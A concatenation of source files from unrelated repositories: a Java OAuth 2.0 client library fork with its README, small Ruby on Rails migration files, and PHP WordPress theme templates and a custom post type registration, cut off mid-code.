<repo_name>scenari/scribe-java<file_sep>/README.md # Welcome to the home of Scribe-sc, the simple OAuth Java lib forked by the Scenari Team! ### To understand scribe, please read the master github page (https://github.com/fernandezpablo85/scribe-java) # Why a fork for Scribe ? Basically, because the support of OAuth 2 by Scribe is not as wide as the standard defines it. This fork aims to enhance the Oauth 2 support, especially by letting the API classes interact with the Oauth2 service to specialize the access token request or sign in request. ### What is different in Scribe-sc In an API class, you can define how the access token request should be signed. ```java @Override public ParameterType getClientAuthenticationType() { // ParameterType.Header => the token cliendId:clientSecret is base64 encoded and send as a Basic Auth // ParameterType.QueryString => cliendId and clientSecret are sent as a oauth parameter in the QueryString // ParameterType.PostForm => cliendId and clientSecret are sent as a oauth parameter in a URL encoded form return ParameterType.Header; } //Default is QueryString for backward compatibility ``` You can define how the oauth 2 parameters should be sent. ```java @Override public ParameterType getParameterType() { // ParameterType.Header => the parameters are sent in the header // ParameterType.QueryString => the parameters are sent as a QueryString // ParameterType.PostForm => The parameters are sent in a URL encoded form return ParameterType.Header; } //Default is QueryString for backward compatibility ``` Finally, you can throw the access token request of the service and build your own. ```java @Override public OAuthRequest handleRequest(OAuthRequest request) { //Do what ever you want on the access token request here. The service will not change it. return request; } ``` <file_sep>/src/main/java/org/scribe/builder/api/TwitterSignInApi.java package org.scribe.builder.api; import org.scribe.model.Token; import org.scribe.builder.api.TwitterApi; public class TwitterSignInApi extends TwitterApi { private static final String AUTHORIZE_URL = "https://api.twitter.com/oauth/authenticate?oauth_token=%s"; @Override public String getAuthorizationUrl(Token requestToken) { return String.format(AUTHORIZE_URL, requestToken.getToken()); } } <file_sep>/src/main/java/org/scribe/oauth/OAuth20ServiceImpl.java package org.scribe.oauth; import java.nio.charset.Charset; import org.scribe.builder.api.*; import org.scribe.model.*; import org.scribe.services.Base64Encoder; public class OAuth20ServiceImpl implements OAuthService { private static final String VERSION = "2.0"; private final DefaultApi20 api; private final OAuthConfig config; /** * Default constructor * * @param api OAuth2.0 api information * @param config OAuth 2.0 configuration param object */ public OAuth20ServiceImpl(DefaultApi20 api, OAuthConfig config) { this.api = api; this.config = config; } /** * {@inheritDoc} */ public Token getAccessToken(Token requestToken, Verifier verifier) { Verb verb = api.getAccessTokenVerb(); OAuthRequest request = new OAuthRequest(verb, api.getAccessTokenEndpoint()); Response response; switch (api.getClientAuthenticationType()) { case Header: StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("Basic "); stringBuilder.append(Base64Encoder.getInstance().encode((config.getApiKey() + ":" + config.getApiSecret()).getBytes(Charset.forName("UTF-8")))); request.addHeader("Authorization", stringBuilder.toString()); break; case PostForm: if (verb != Verb.POST && verb != Verb.PUT) throw new IllegalArgumentException("Impossible to set parameter in a form with an other HTTP method than POST or PUT"); request.addBodyParameter(OAuthConstants.CLIENT_ID, config.getApiKey()); request.addBodyParameter(OAuthConstants.CLIENT_SECRET, config.getApiSecret()); break; case QueryString: request.addQuerystringParameter(OAuthConstants.CLIENT_ID, config.getApiKey()); request.addQuerystringParameter(OAuthConstants.CLIENT_SECRET, config.getApiSecret()); break; } switch (api.getParameterType()) { case Header: request.addHeader(OAuthConstants.GRANT_TYPE, OAuthConstants.AUTHORIZATION_CODE); request.addHeader(OAuthConstants.CODE, verifier.getValue()); request.addHeader(OAuthConstants.REDIRECT_URI, config.getCallback()); if (config.hasScope()) request.addHeader(OAuthConstants.SCOPE, config.getScope()); break; case PostForm: if (verb != Verb.POST && verb != Verb.PUT) throw new IllegalArgumentException("Impossible to set parameter in a form with an other HTTP method than POST or PUT"); request.addBodyParameter(OAuthConstants.GRANT_TYPE, OAuthConstants.AUTHORIZATION_CODE); request.addBodyParameter(OAuthConstants.CODE, verifier.getValue()); request.addBodyParameter(OAuthConstants.REDIRECT_URI, config.getCallback()); if (config.hasScope()) request.addBodyParameter(OAuthConstants.SCOPE, config.getScope()); break; case QueryString: request.addQuerystringParameter(OAuthConstants.GRANT_TYPE, OAuthConstants.AUTHORIZATION_CODE); request.addQuerystringParameter(OAuthConstants.CODE, verifier.getValue()); request.addQuerystringParameter(OAuthConstants.REDIRECT_URI, config.getCallback()); if (config.hasScope()) request.addQuerystringParameter(OAuthConstants.SCOPE, config.getScope()); break; } response = api.handleRequest(request).send(); return api.getAccessTokenExtractor().extract(response.getBody()); } /** * {@inheritDoc} */ public Token getRequestToken() { throw new UnsupportedOperationException("Unsupported operation, please use 'getAuthorizationUrl' and redirect your users there"); } /** * {@inheritDoc} */ public String getVersion() { return VERSION; } /** * {@inheritDoc} */ public void signRequest(Token accessToken, OAuthRequest request) { // Not Oauth2 but usefull for some pseudo-oauth2 providers if (config.getSignatureType().equals(SignatureType.QueryString)|| api.getSignatureType() == SignatureType.QueryString) request.addQuerystringParameter(OAuthConstants.ACCESS_TOKEN, accessToken.getToken()); else { // With Oauth 2, the empty secret field is used to store the token type if (accessToken.getSecret().equals(OAuthConstants.BEARER)) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("Bearer "); stringBuilder.append(accessToken.getToken()); request.addHeader("Authorization", stringBuilder.toString()); } else throw new UnsupportedOperationException("Unsupported OAuth2 access token type"); } } /** * {@inheritDoc} */ public String getAuthorizationUrl(Token requestToken) { return api.getAuthorizationUrl(config); } }
ce3a60d82d6aff9f44cf211759d21fa855ebe35d
[ "Markdown", "Java" ]
3
Markdown
scenari/scribe-java
3e8780a6752efd2acf105e67d730a5dfcdf2bcfe
36bd133c626b11e144a4446785bfb57d3163c22f
refs/heads/master
<repo_name>nickwohnhas/phrg-writing-migrations-pca-000<file_sep>/app/models/student.rb require 'pry' class Student < ActiveRecord::Base end <file_sep>/db/migrate/03_change_datatype_for_birthdate.rb class ChangeDatatypeForBirthdate < ActiveRecord::Migration[5.1] def change change_column(:students,:birthdate,:datetime) end end
7aed4606700a122d7207c8e4549b8345132207c0
[ "Ruby" ]
2
Ruby
nickwohnhas/phrg-writing-migrations-pca-000
18f2794ed8e5d01bf1a875166cc546724f59cbac
18e3933683f7b5fd6f9d0b246b47fa698d29ff22
refs/heads/master
<repo_name>inferno1988/JBloq<file_sep>/src/main/java/JBlog/TopMenuEntityDAO.java package JBlog; import org.hibernate.SessionFactory; /** * Created with IntelliJ IDEA. * User: atom * Date: 23.10.12 * Time: 1:01 * To change this template use File | Settings | File Templates. */ public class TopMenuEntityDAO { private SessionFactory sessionFactory; public void setSessionFactory(SessionFactory sessionFactory) { this.sessionFactory = sessionFactory; } public void saveMenuItem(TopMenuEntity menuEntity) { sessionFactory.getCurrentSession().persist(menuEntity); } } <file_sep>/src/main/java/JBlog/MenuContainer.java package JBlog; import org.hibernate.SessionFactory; import java.util.*; /** * Created with IntelliJ IDEA. * User: atom * Date: 22.10.12 * Time: 17:26 * To change this template use File | Settings | File Templates. */ public class MenuContainer { private ArrayList<MenuItem> menuItems; MenuContainer() { menuItems = new ArrayList<MenuItem>(); } public void addMenuItem(MenuItem menuItem) { menuItems.add(menuItem); } public void addMenuItem(String caption, String link) { MenuItem menuItem = new TopMenuEntity(); menuItem.setCaption(caption); menuItem.setHref(link); menuItems.add(menuItem); } public ArrayList<MenuItem> getMenuItems() { return menuItems; } public void setMenuItems(ArrayList<MenuItem> menuItems) { this.menuItems = menuItems; } } <file_sep>/target/test-classes/db.properties db.password=<PASSWORD> db.username=atom db.url=jdbc:mysql://192.168.33.116/jblog db.dialect=org.hibernate.dialect.MySQL5Dialect db.driver=com.mysql.jdbc.Driver <file_sep>/src/main/java/JBlog/MenuController.java package JBlog; import org.hibernate.SessionFactory; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.orm.hibernate3.support.HibernateDaoSupport; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; /** * Created with IntelliJ IDEA. * User: atom * Date: 22.10.12 * Time: 18:01 * To change this template use File | Settings | File Templates. */ @Controller @RequestMapping("/uiBuilder/menu") public class MenuController { private static final Logger logger = LoggerFactory .getLogger(HomeController.class); @RequestMapping("/topMenu") public String home(Model model) { logger.info("Building menu"); MenuContainer menuContainer = new MenuContainer(); menuContainer.addMenuItem("Join!","join_us/"); menuContainer.addMenuItem("Help","help/"); menuContainer.addMenuItem("Search","search/"); model.addAttribute("menuItems",menuContainer.getMenuItems()); return "top_menu"; } } <file_sep>/README.md JBloq ===== JBloq
59a5d736499fcb242c948a1a7c8733d7ac36f117
[ "Markdown", "Java", "INI" ]
5
Java
inferno1988/JBloq
d9def3cc8fb947bddda29a9ab41609f2dd3aabf1
522a122324243fe20067762263bc51d1c42f6b4f
refs/heads/master
<repo_name>wegnerce/peng_et_al_2018<file_sep>/README.md Peng et al., 2018 https://doi.org/10.1186/s40168-018-0546-9 ============================================================ Below, details are given with respect to steps of sequence data processing that involved custom _python_ scripts. The individual subsections are named to match the corresponding methods sections of the publication and are complementary to those. All used custom _python_ scripts were written using _python_ (v.2.7.12). Required packages include: * biopython * textwrap * sqlite3 All of these can be installed via the python package installer `pip`. **1. Bioinformatic processing of total RNA-derived sequences** ---------------------------------------------------------- OTU clustering of rRNA-derived sequences was done using _usearch_ (v.7) (Edgar, 2010) applying the implemented _uclust_ algorithm. A custom _python_ script was subsequently used to convert the resulting OTU table (in fact a usearch cluster format file) into a legacy OTU table matching the specifications of _qiime_ (v.1.9.1) (Caporaso et al., 2010), which was in turn converted into a _biom_ table. The original _python_ script (uc2otutab.py) by <NAME> is publicly available and its usage is in detail explained here: https://drive5.com/python/. We modified the script to match our internal naming conventions for datasets, and the script (uc2otutab_mod.py) is availabe from this repository. The usage is as follows: ``` python uc2otutab_mod.py input_uc.file > output_otutab.file ``` **2. Assembly of full-length 16S rRNA sequences** --------------------------------------------- We used _emirge_ (Miller et al., 2011) for the reconstruction of full-length 16S rRNA sequences. The subsampling of our 16S rRNA-derived sequence data for sequences of interest was a necessary prerequisite to reduce the computational load of 16S rRNA sequence reconstruction. For the subsampling of the data we wrote a _python_ script that processes various _qiime_ (v.1.9.1) output files. The script is available from this repository (extract_seqs_based_on_taxonomy.py). The paths of the necessary input and the to be generated output files have to be modified in the code of the script. After modifying the path variables, as well as defining the taxonomic group of interest the script can be called as follows: ``` python extract_seqs_based_on_taxonomy.py ``` **3. Analysis of CAZyme-related sequences** --------------------------------------- CAZyme-affiliated mRNA reads were identified by querying mRNA-derived sequences against a local copy of the dbCAN database (Yin et al., 2012) that has been indexed for being used with _diamond_ (Buchfink et al., 2015). _diamond_ was used as follows: ``` diamond blastx -d dbCAN_072017.dmd -q mRNA_derived_seqs.fna -o dbCAN_hits.out -f 6 ``` Functional CAZyme modules were defined as outlined the manuscript main text. Annotation summaries for the mRNA-derived sequences queried against dbCAN were generated using the custom _python_ script dbCAN_annotator.py. dbCAN_annotator makes use of a mapping file provided by the dbCAN consortium (http://csbl.bmb.uga.edu/dbCAN/download.php, CAZyDB-ec-info.txt.07-20-2017). This mapping file contains information about the CAZyme-family affiliation of each deposited sequence, as well as information about assigned enzyme commission numbers. The latter were used for defining the aforementioned CAZyme functional modules. The mapping file was used for generating an indexed sqlite3 database object to facilitate fast querying, and thus a time-efficient processing of generated _diamond_ output. In order to use dbCAN_annotator, the script (dbcan_annotator.py) and the sqlite3 database (dbcan.db) have to be downloaded. If the database is stored at a different place than the script, the path variable referring to the database has to be modified in dbCAN_annotator.py. dbCAN_annotator can be used as follows. ### (i) Generating annotation summaries ``` python dbCAN_annotator.py --mode annot --diamond diamond_output.tab --seq queried_sequence_data.fasta ``` ### (ii) Extracting sequences linked to functional modules ``` python dbCAN_annotator.py --mode filter --diamond diamond_output.tab --seq queried_sequence_data.fasta ``` ### (iii) Extracting sequences linked to particular CAZyme functions of interest ``` python dbCAN_annotator.py --mode func_filter --diamond diamond_output.tab --seq queried_sequence_data.fasta --func list_of_CAZyme_functions_of_interest.txt ``` (c) Peng et al., 2018 **References** -------------- * Edgar,RC Search and clustering orders of magnitude faster than BLAST, Bioinformatics 2010;26(19):2460-2461. * Caporaso JG, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, Huttley GA, Kelley ST, Knights D, Koenig JE, Ley RE, Lozupone CA, McDonald D, Muegge BD, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>. QIIME allows analysis of high-throughput community sequencing data. Nat Methods. 2010;7(5):335-336. * Miller CS, <NAME>J, <NAME>, Singer SW, Banfield JF. EMIRGE: reconstruction of full-length ribosomal genes from microbial community short read sequencing data.Genome Biol. 2011;12(5). * <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>. dbCAN: a web resource for automated carbohydrate-active enzyme annotation. Nucleic Acids Res. 2012;40(W1):789. * <NAME>, <NAME>, <NAME>. Fast and sensitive protein alignment using DIAMOND.Nat Methods. 2015;12(1):59-60. <file_sep>/dbCAN_annotator.py # -*- coding: utf-8 -*- """ @author: <NAME> @affiliation: Küsel Lab - Aquatic Geomicrobiology Friedrich Schiller University of Jena <EMAIL> """ ############################################################################### # NEEDED MODULES, PATHS, PARAMETERS ############################################################################### import argparse import sqlite3 import subprocess import textwrap from Bio import SeqIO db = "dbcan.db" no_annotated = 0 no_seqs = 0 seq_filter_ids = {"Cellulose utilization" : [], "Chitin utilization" : [], "Xylan utilization" : [], "Pectin utilization" : [], "Other CAZymes" : []} func_filter = {} func_seqs = {} ############################################################################### # DEFINED CAZY MODULES ############################################################################### cellulose_mapping = {"3.2.1.4_Cellulase" : 0, "3.2.1.91_Cellulose 1,4-beta-cellobiosidase" : 0, "3.2.1.150_Oligoxyloglucan reducing-end-specific cellobiohydrolase" : 0, "2.4.1.20_Cellobiose phosphorylase" : 0, "1.1.99.19_Cellobiose dehydrogenase" : 0} chitin_mapping = {"3.2.1.14_Chitinase" : 0, "3.5.1.41_Chitin deacetylase" : 0, "3.5.1.21_N-acetylglucosamine-6-phosphate deacetylase" : 0, "3.5.1.28_N-acetylmuramoyl-L-alanine amidase" : 0, "3.5.1.89_N-acetylglucosaminylphosphatidylinositol deacetylase" : 0, "3.2.1.52_N-acetylglucosaminidase" : 0} xylan_mapping = {"3.2.1.8_Endo-1,4-beta-xylanase" : 0, "3.2.1.37_Xylan 1,4-beta xylosidase" : 0, "3.1.1.72_Acetylxylan esterase" : 0, "3.2.1.151_Xyloglucanase" : 0} pectin_mapping = {"4.2.2.10_Pectin lyase" : 0, "3.1.1.11_Pectinesterase" : 0} other_mapping = {"3.2.1.113_Mannosidase" : 0, "3.2.1.22_Alpha-galactosidase" : 0, "3.2.1.23_Beta-galactosidase" : 0, "3.2.1.51_Alpha-fucosidase" : 0} cellulose_ids = ("3.2.1.4_Cellulase", "3.2.1.91_Cellulose 1,4-beta-cellobiosidase", "3.2.1.150_Oligoxyloglucan reducing-end-specific cellobiohydrolase", "2.4.1.20_Cellobiose phosphorylase", "1.1.99.19_Cellobiose dehydrogenase") chitin_ids = ("3.2.1.14_Chitinase", "3.5.1.41_Chitin deacetylase", "3.5.1.21_N-acetylglucosamine-6-phosphate deacetylase", "3.5.1.28_N-acetylmuramoyl-L-alanine amidase", "3.5.1.89_N-acetylglucosaminylphosphatidylinositol deacetylase", "3.2.1.52_N-acetylglucosaminidase") xylan_ids = ("3.2.1.8_Endo-1,4-beta-xylanase", "3.2.1.37_Xylan 1,4-beta xylosidase", "3.1.1.72_Acetylxylan esterase", "3.2.1.151_Xyloglucanase") pectin_ids = ("4.2.2.10_Pectin lyase", "3.1.1.11_Pectinesterase") other_ids = ("3.2.1.113_Mannosidase", "3.2.1.22_Alpha-galactosidase", "3.2.1.23_Beta-galactosidase", "3.2.1.51_Alpha-fucosidase") ############################################################################### # FUNCTIONS ############################################################################### # parse Gbk-IDs for EC numbers def check_dbCAN(gbk_id): conn = sqlite3.connect(db) # connect to our database cursor = conn.cursor() command = "SELECT ec FROM dbCAN WHERE family = '" + gbk_id + "';" # lookup GO tags cursor.execute(command) results = list(set([item[0] for item in cursor.fetchall()])) cursor.close() if results: # results are retrieved as list #return result[0].encode('utf-8') return results else: return "no hit" def seq_filter_function(diamond_out, functions): with open(functions, "rb") as infile: for line in infile: func_filter[line[:-2]] = [] with open(diamond_out, "rb") as infile: for line in infile: look_up = check_dbCAN(line.split("\t")[1].split("|")[1]) for entry in look_up: # the magic happens here if look_up != "no hit": hit_key = next((k for (k,v) in func_filter.iteritems() if entry == k.split("_")[0]), None) if hit_key: for key in func_filter: if hit_key in key: func_filter[key].append(line.split("\t")[0]) def seq_filter(diamond_out): with open (diamond_out, "rb") as infile: # we look up CAZy families, however this time we want to identify sequences # that are linked to our defined CAZy modules for line in infile: look_up = check_dbCAN(line.split("\t")[1].split("|")[1]) for entry in look_up: # the magic happens here if look_up != "no hit": hit_key = next((k for (k,v) in cellulose_mapping.iteritems() if entry == k.split("_")[0]), None) if hit_key: seq_filter_ids["Cellulose utilization"].append(line.split("\t")[0]) hit_key = next((k for (k,v) in chitin_mapping.iteritems() if entry == k.split("_")[0]), None) if hit_key: seq_filter_ids["Chitin utilization"].append(line.split("\t")[0]) hit_key = next((k for (k,v) in xylan_mapping.iteritems() if entry == k.split("_")[0]), None) if hit_key: seq_filter_ids["Xylan utilization"].append(line.split("\t")[0]) hit_key = next((k for (k,v) in pectin_mapping.iteritems() if entry == k.split("_")[0]), None) if hit_key: seq_filter_ids["Pectin utilization"].append(line.split("\t")[0]) hit_key = next((k for (k,v) in other_mapping.iteritems() if entry == k.split("_")[0]), None) if hit_key: seq_filter_ids["Other CAZymes"].append(line.split("\t")[0]) # determine seq counts for defined functional modules def annot(diamond_out, seqs): global no_annotated, no_seqs with open (diamond_out, "rb") as infile: no_annotated = subprocess.check_output("wc -l %s"%diamond_out, shell=True) no_annotated = no_annotated.split(" ")[0] no_seqs = len(list(SeqIO.parse(seqs, "fasta"))) for line in infile: look_up = check_dbCAN(line.split("\t")[1].split("|")[1]) # we look up GO tags for Uniref if look_up != "no hit": for hit in look_up: for k in cellulose_mapping: if hit == k.split("_")[0]: cellulose_mapping[k] = cellulose_mapping[k] + 1 for k in chitin_mapping: if hit == k.split("_")[0]: chitin_mapping[k] = chitin_mapping[k] + 1 for k in xylan_mapping: if hit == k.split("_")[0]: xylan_mapping[k] = xylan_mapping[k] + 1 for k in pectin_mapping: if hit == k.split("_")[0]: pectin_mapping[k] = pectin_mapping[k] + 1 for k in other_mapping: if hit == k.split("_")[0]: other_mapping[k] = other_mapping[k] + 1 # write output for respective program modes def write_output(mode, diamond_out = None, seqs = None): if mode == "annot": with open(diamond_out + ".annot", 'w') as f: f.write("Cellulose utilization" + "\n") [f.write("{0},{1}\n".format(key, cellulose_mapping[key])) for key in cellulose_ids] f.write("Chitin utilization" + "\n") [f.write("{0},{1}\n".format(key, chitin_mapping[key])) for key in chitin_ids] f.write("Xylan utilization" "\n") [f.write("{0},{1}\n".format(key, xylan_mapping[key])) for key in xylan_ids] f.write("Pectin utilization" + "\n") [f.write("{0},{1}\n".format(key, pectin_mapping[key])) for key in pectin_ids] f.write("Other CAZymes" + "\n") [f.write("{0},{1}\n".format(key, other_mapping[key])) for key in other_ids] f.write("{0},{1}\n".format("No. of sequences with hits in CAZy", str(no_annotated))) f.write("{0},{1}\n".format("No. of sequences", str(no_seqs))) elif mode == "filter": cellulose_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in seq_filter_ids["Cellulose utilization"]) count = SeqIO.write(cellulose_seqs, seqs + ".cellulose.fa", "fasta") print " *** Saved %i sequences linked to Cellulose utilization." % (count) chitin_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in seq_filter_ids["Chitin utilization"]) count = SeqIO.write(chitin_seqs, seqs + ".chitin.fa", "fasta") print " *** Saved %i sequences linked to Chitin utilization." % (count) xylan_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in seq_filter_ids["Xylan utilization"]) count = SeqIO.write(xylan_seqs, seqs + ".xylan.fa", "fasta") print " *** Saved %i sequences linked to Xylan utilization." % (count) pectin_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in seq_filter_ids["Pectin utilization"]) count = SeqIO.write(pectin_seqs, seqs + ".pectin.fa", "fasta") print " *** Saved %i sequences linked to Pectin utilization." % (count) other_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in seq_filter_ids["Other CAZymes"]) count = SeqIO.write(other_seqs, seqs + ".other.fa", "fasta") print " *** Saved %i sequences linked to Other CAZymes." % (count) elif mode == "func_filter": for k, v in func_filter.iteritems(): func_seqs = (r for r in SeqIO.parse(seqs, "fasta") if r.id in func_filter[k]) count = SeqIO.write(func_seqs, seqs + "." + k + ".fasta", "fasta") print" Saved %i sequences linked to %s." % (count, k) ############################################################################### # MAIN PROGRAM STRUCTURE ############################################################################### if __name__ == "__main__": parser = argparse.ArgumentParser(prog = "dbCAN_annot.py", # argumment parsing formatter_class = argparse.RawDescriptionHelpFormatter, description = textwrap.dedent ('''\ | dbCAN ANNOTATOR | | v0.1 November, '17 | | ------------------------------------------------------ | | (c) <NAME> | | for comments, reporting issues: | | <EMAIL> | ''')) parser.add_argument("--mode", "-m", help="annotate ('annot') based on diamond output or filter ('filter') sequences module-based", action="store") parser.add_argument("--diamond", "-d", help="diamond output to be processed (.tab formatted)", action="store") parser.add_argument("--seq", "-s", help="sequence data queried against dbCAN (.fasta)", action="store" ) parser.add_argument("--func", "-f", help="enzyme functions of interest for sequence filtering", action="store" ) args = parser.parse_args() # we need only diamond tab separated output as essential input print "" print " | dbCAN ANNOTATOR | " print " | v0.1 November, '17 |." print " | ------------------------------------------------------ | " print " | (c) <NAME> | " print " | for comments, reporting issues: | " print " | <EMAIL> | " print "" if args.diamond and args.seq and args.mode == "annot": print " *** Determine Annotation statistics for defined CAZY modules." annot(args.diamond, args.seq) print " *** Write annotation output." write_output(args.mode, args.diamond) print "" print " *** Done." elif args.diamond and args.seq and args.mode == "filter": print " *** Filter sequences based on defined CAZy modules." seq_filter(args.diamond) print " *** Write filtered sequences." write_output(args.mode,None,args.seq) print "" print " *** Done." elif args.diamond and args.seq and args.func and args.mode == "func_filter": print " *** Filter sequences based on provided list of enzyme functions." seq_filter_function(args.diamond, args.func) print " *** Write filtered sequences." write_output(args.mode,None,args.seq) print "" print " *** Done." else: print " *** Please specify necessary input for annotation/filtering:" print " - output from diamond/(ublast) queries against dbCAN/CAZy " print " tab-separated standard blast output (outfmt 6) " print " - sequence data that was queried against dbCAN/CAZy" print " in .fasta format" print " --> mode 'annot' for annotation, 'filter' for filtering" <file_sep>/extract_seqs_based_on_taxonomy.py ''' @author: <NAME> @affiliation: Küsel Lab - Aquatic Geomicrobiology Friedrich Schiller University of Jena <EMAIL> Given a defined taxonomic group/level/, the below script extracts all the sequences belonging to this group using multiple output files from QIIME1.9.1 ** taxonomy assignments from assign_taxonomy.py [QIIME] ** picked OTUs [USEARCH] ''' # modules to be imported import csv import time from Bio import SeqIO # files to be processed # ** assigned_taxonomy, usearch_picked_otus, and sequence_data refer to output # from QIIME1.9.1 and usearch7, respectively # --> paths need to be modified accordingly # ** the other variables are output files that are necessary/useful for downstream # analysis; collected_OTU_IDs (list of OTUs affiliated with the taxonomic group # of interest), collected_sequence_IDs (list of sequence IDs affiliated with the # taxonomic group of interest), collected_sequences (subsampled sequence data, # filtered for sequences affiliated with the taxonomic group of interest) assigned_taxonomy = "/path/to/taxonomic.assignments" collected_OTU_IDs = "/path/to/output/file/containing/OTU.ids" usearch_picked_otus = "/path/to/usearch/cluster/file.uc" collected_sequence_IDs = "/path/to/output/file/containing/OTU.ids" sequence_data ="/output/from QIIMEs split_libraries.py script/seqs.fna" collected_sequences = open("/path/output/file/seqs/of/interest.fna", "wb") to_look_for = ["group_of_interest"] # this string needs to be modified dependent on # the group you are interested in IDs_of_interest = [] sequence_IDs_of_interest = [] sequences_of_interest = [] # STEP -I- check taxonomy file for OTU IDs of interest with open(assigned_taxonomy) as infile: for row in csv.reader(infile, delimiter='\t'): for wanted in to_look_for: if wanted in row[1]: IDs_of_interest.append(row[0]) infile.close() with open(collected_OTU_IDs, 'wb') as outfile: collected_otus = csv.writer(outfile) for item in IDs_of_interest: print 'Collected ID: '+ item collected_otus.writerow ([item]) outfile.close() print '%i OTUs of interest detected and saved!' % len(IDs_of_interest) time.sleep(10) # STEP -II- extract sequence IDs from USEARCH picked_otus.py output file with open(usearch_picked_otus) as infile: for row in csv.reader(infile, delimiter='\t'): if row[9] in IDs_of_interest: sequence_IDs_of_interest.append(row[8][:row[8].find(" ")]) infile.close() print '%i Sequence IDs of interest identified!' % len(sequence_IDs_of_interest) time.sleep(10) with open(collected_sequence_IDs, 'wb') as outfile: outfile.writelines("%s\n" % str(item) for item in sequence_IDs_of_interest) outfile.close() print 'Sequence IDs saved... Going to extract sequences now!' time.sleep(10) # STEP -III- pick sequences of interest from the set of original sequences, meaning the output # of QIIMEs split_libraries.py script #wanted = set(line.rstrip("\n").split(None,1)[0] for line in open(collected_sequence_IDs)) print "Extract now %i sequences from the original data set." % (len(sequence_IDs_of_interest)) index = SeqIO.index(sequence_data, "fasta") records = (index[r] for r in sequence_IDs_of_interest) count = SeqIO.write(records, collected_sequences, "fasta") assert count == len(sequence_IDs_of_interest) print "Extracted %i sequences from %s (original data) to %s (taxon-specific subset)." % (count, sequence_data, collected_sequences)
8d349b4c3dfd85f92f69222dc23f0bb812833374
[ "Markdown", "Python" ]
3
Markdown
wegnerce/peng_et_al_2018
b552705eaba85729433f410c1ded499d71b1db22
a0fbbab41de692228edf5dc867c6618b3ddfbe8c
refs/heads/master
<file_sep><?php $sliderPosts = sevenrays_get_post_by_tag('homepage-slider');?> <div id="featured_slide"> <div class="wrapper"> <div class="featured_content"> <ul id="accordion"> <?php $count=1; while($sliderPosts->have_posts()): $sliderPosts->the_post();?> <li <?php if($count==1):?>class="current"<?php $count++; endif;?>> <div class="featured_box"> <h2><?php echo the_title()?></h2> <p><?php echo substr_word(get_the_content(),370);?></p> <p class="readmore"><a href="<?php echo the_permalink();?>">Continue Reading &raquo;</a></p> </div> <div class="featured_tab"> <?php echo the_post_thumbnail( array(100,100), $attr ); ?> <p><?php the_title();?></p> </div> </li> <?php endwhile;?> </ul> </div> </div> </div><file_sep><div id="footer"> <div class="wrapper"> <!-- <div id="newsletter"> <h2>Stay In The Know !</h2> <p>Please enter your email to join our mailing list</p> <form action="#" method="post"> <fieldset> <legend>News Letter</legend> <input type="text" value="Enter Email Here&hellip;" onfocus="this.value=(this.value=='Enter Email Here&hellip;')? '' : this.value ;" /> <input type="submit" name="news_go" id="news_go" value="GO" /> </fieldset> </form> <p> To unsubscribe please <a href="#">click here &raquo;</a> </p> </div> --> <?php if ( is_active_sidebar( 'newsletter-footer' ) ) : ?> <?php dynamic_sidebar( 'newsletter-footer' ); ?> <?php endif; ?> <?php if ( is_active_sidebar( 'footer-1' ) ) : ?> <?php dynamic_sidebar( 'footer-1' ); ?> <?php endif; ?> <br class="clear" /> </div> </div> <!-- ####################################################################################################### --> <div id="copyright"> <div class="wrapper"> <p class="fl_left"> Copyright &copy; <?php echo date("Y")?> - All Rights Reserved - <a href="<?php echo bloginfo('siteurl');?>"><?php echo bloginfo()?></a> </p> <p class="fl_right"> Template by <a href="http://www.os-templates.com/" title="Free Website Templates" rel="nofollow">OS Templates</a> </p> <br class="clear" /> </div> </div> <body></body> <html></html> <file_sep><div id="search"> <form action="<?php bloginfo('siteurl');?>" method="get"> <fieldset> <legend>Site Search</legend> <input type="text" value="<?php the_search_query(); ?>" name='s' onfocus="this.value=(this.value=='Search Our Website&hellip;')? '' : this.value ;" /> <input type="submit" name="" id="go" value="Search" /> </fieldset> </form> </div> <file_sep><?php add_action('init', 'sr_register_post_type'); /** * Registers a custom post type. * * @link http://codex.wordpress.org/Function_Reference/register_post_type */ function sr_register_post_type() { $post_meta = sr_get_book_config(); register_post_type( $post_meta['post_type'], array( 'labels' => array( 'name' => __('Book', 'text_domain'), 'singular_name' => __('Book', 'text_domain'), 'menu_name' => __('Book', 'text_domain'), 'name_admin_bar' => __('Book Item', 'text_domain'), 'all_items' => __('All Items', 'text_domain'), 'add_new' => _x('Add New', 'prefix_portfolio', 'text_domain'), 'add_new_item' => __('Add New Item', 'text_domain'), 'edit_item' => __('Edit Item', 'text_domain'), 'new_item' => __('New Item', 'text_domain'), 'view_item' => __('View Item', 'text_domain'), 'search_items' => __('Search Items', 'text_domain'), 'not_found' => __('No items found.', 'text_domain'), 'not_found_in_trash' => __('No items found in Trash.', 'text_domain'), 'parent_item_colon' => __('Parent Items:', 'text_domain'), ), 'public' => true, 'menu_position' => 5, 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt', 'custom-fields', ), 'has_archive' => true, 'rewrite' => array( 'slug' => $post_meta['post_type_slug'], ), ) ); register_taxonomy( $post_meta['post_type_category'], array( $post_meta['post_type'],), array( 'labels' => array( 'name' => _x('Book Categories', 'sr_movie_categories', 'text_domain'), 'singular_name' => _x('Book Category', 'sr_movie_categories', 'text_domain'), 'menu_name' => __('Book Categories', 'text_domain'), 'all_items' => __('All Book Categories', 'text_domain'), 'edit_item' => __('Edit Book Category', 'text_domain'), 'view_item' => __('View Book Category', 'text_domain'), 'update_item' => __('Update Book Category', 'text_domain'), 'add_new_item' => __('Add New Book Category', 'text_domain'), 'new_item_name' => __('New Book Category Name', 'text_domain'), 'parent_item' => __('Parent Book Category', 'text_domain'), 'parent_item_colon' => __('Parent Book Category:', 'text_domain'), 'search_items' => __('Search Book Categories', 'text_domain'), ), 'show_admin_column' => true, 'hierarchical' => true, 'rewrite' => array( 'slug' =>$post_meta['post_type_category_slug'], ), ) ); $labels= array( 